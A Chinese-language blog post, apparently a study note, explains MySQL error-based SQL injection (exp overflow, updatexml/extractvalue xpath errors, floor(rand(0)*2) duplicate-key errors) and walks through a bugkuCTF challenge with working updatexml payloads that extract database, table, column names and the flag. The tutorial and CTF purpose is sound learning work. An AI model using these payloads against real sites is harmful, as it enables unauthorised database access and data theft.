MySQL报错注入

什么是报错注入

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果可以出现在错误信息中。我一位好友的博客写过一个SQL注入的专栏,除了报错注入以外,别的类型也写了,而且比较详细,我个人比较推荐阅读。

数据溢出报错

在某些版本中,可以通过exp函数的特性结合整数溢出的报错进行注入,比如这样select (select(!x-~0)from(select(select user())x)a);但是当MySQL版本>5.5.53,就不能返回查询结果了,所以这里我并不去深究它。

xpath语法错误

利用xpath语法错误的注入用的是extractvalueupdatexml这两个函数。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容;

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

注入原理:这两个函数的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。例子:enter description here至于extractvalue,也差不多enter description herebugkuCTF有一道题可以用报错注入,题目链接http://120.24.86.145:9001/sql/index.php enter description here一开始尝试了各种方法都没有一点反应,后面才发现,与绝大多数题目不同,这题闭合引号用的是双引号,后台估计是这种形式'SELECT name,code from users where name="'.$name.'"'。直接输入一个",发现报错enter description here既然有报错信息,那就直接上报错注入吧。构造payload" or updatexml(1,concat(0x7e,(select mid(group_concat(0x7c,schema_name,0x7c),20,30)from information_schema.schemata),0x7e),1)#拿到数据库名enter description here然后" or updatexml(1,concat(0x7e,(select mid(group_concat(0x7c,table_name,0x7c),1,30)from information_schema.tables where table_schema="bugkusql1"),0x7e),1)#注出表名enter description here" or updatexml(1,concat(0x7e,(select mid(group_concat(0x7c,column_name,0x7c),1,30)from information_schema.columns where table_name="flag1"),0x7e),1)#注出列名enter description here最后" or updatexml(1,concat(0x7e,(select flag1 from flag1),0x7e),1)#getFlagenter description here

主键重复

主键重复是原理最复杂的一种报错注入,先给个payload:select count(*) from test group by concat(version(),floor(rand(0)*2));效果:enter description here下面我们来分析一下原理,首先要知道MySQL的group by是怎样工作的,可以看这篇文章这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错,我们来看看floor(rand(0)*2):enter description here由于给定了随机数种子,所以每次产生的随机数序列是一样的,再通过floor,就会生成固定的01序列。然后,当我们执行select count(*) from test group by name这句命令时,会建立一个虚拟表,一列是key,一列就是count(*),其中key是主键,不能重复。接下来的事情,这篇文章说得实在是详细。。我就不写了

配置用户时遇到的一些问题

因为要做SQL注入的题目,配置低权限用户很重要,一开始按照这个来设置的enter description here建立了一个只能select的hack用户之后,不能登录root了enter description here解决方法:enter description here

select load_file与select into outfile时遇到的一些问题

直接看这篇https://blog.csdn.net/bnxf00000/article/details/64123549